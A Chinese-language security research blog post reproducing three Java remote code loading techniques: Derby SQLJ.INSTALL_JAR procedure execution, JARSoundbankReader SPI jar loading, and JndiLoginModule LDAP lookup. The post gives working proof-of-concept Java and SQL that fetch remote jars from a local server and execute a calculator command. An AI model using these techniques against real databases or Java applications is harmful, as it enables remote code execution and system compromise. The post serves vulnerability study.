BB 学学大哥的文章,复现复现
0x01 derby复现 poc 准备一个恶意类
1 2 3 4 5 6 7 import java.io.IOException;public class testShell4 { public static void exec () throws IOException { Runtime.getRuntime().exec("cmd.exe /c calc" ); } }
sql 执行
1 2 3 4 5 6 7 8 9 10 11 ## 导入一个类到数据库中 CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar' , 'APP.Sample4' , 0 ) ## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库 CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath' ,'APP.Sample4' ) ## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static 类型方法 CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec' ## 调用PROCEDURE CALL SALES.TOTAL_REVENUES()
复现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import java.io.IOException;public class calc { public calc () { } public static void calc () throws IOException { try { Runtime.getRuntime().exec("open -a Calculator" ); } catch (IOException var1) { IOException e = var1; throw new RuntimeException (e); } } }package org.unam4;import java.sql.Connection;import java.sql.DriverManager;import java.sql.Statement;public class derbywithjar { public static void main (String[] args) throws Exception { Class.forName("org.apache.derby.jdbc.EmbeddedDriver" ); Connection connection = DriverManager.getConnection("jdbc:derby:myDB;create=true" ); Statement statement = connection.createStatement(); statement.execute("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/exp.jar', 'APP.Sample4', 0)" ); statement.execute("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')" ); statement.execute("CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'calc.calc'" ); statement.execute("CALL SALES.TOTAL_REVENUES()" ); } } jar cvf exp.jar calc.class
0x02 spi 加载jar包 com.sun.media.sound.JARSoundbankReader
读取META-INF/services/javax.sound.midi.Soundbank文件的内容,然后调用urlclassloaer加载指定的类,需要注意先判断回传的流是不是zip,再就是加载的类要继承Soundbank接口。
也可以本地加载。
复现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.unam4.test;import com.sun.media.sound.JARSoundbankReader;import javassist.ClassPool;import javassist.CtClass;import javax.sound.midi.Soundbank;import java.net.URL;public class test { public static void main (String[] args) throws Exception { JARSoundbankReader jarSoundbankReader = new JARSoundbankReader (); jarSoundbankReader.getSoundbank(new URL ("http://127.0.0.1:8888/exp.zip" )); } }
先用javasist生成一个class,需要继承Soundbank,然后打包成zip,META-INF/services/javax.sound.midi.Soundbank 写入加载的类
运行加载成功
也就是可以上传zip,然后加载。
0x03 JndiLoginModule com.sun.security.auth.module.JndiLoginModule#login
构造一个JndiLoginModule类就行了
自带构造函数,从map里获取
1 2 3 4 5 6 7 8 JndiLoginModule module = new JndiLoginModule (); Map<String, String> map = new HashMap <>(); map.put(module .USER_PROVIDER, "ldap://127.0.0.1:80/Object" ); map.put(module .GROUP_PROVIDER, "group" );JAASRealm realm = new JAASRealm (); realm.setContainer(new StandardContext ());module .initialize(null ,new JAASCallbackHandler (realm, "" , "" ), null , map);module .login();
reference http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
https://db.apache.org/derby/docs/10.4/getstart/index.html
https://ti.aliyun.com/#/log?id=28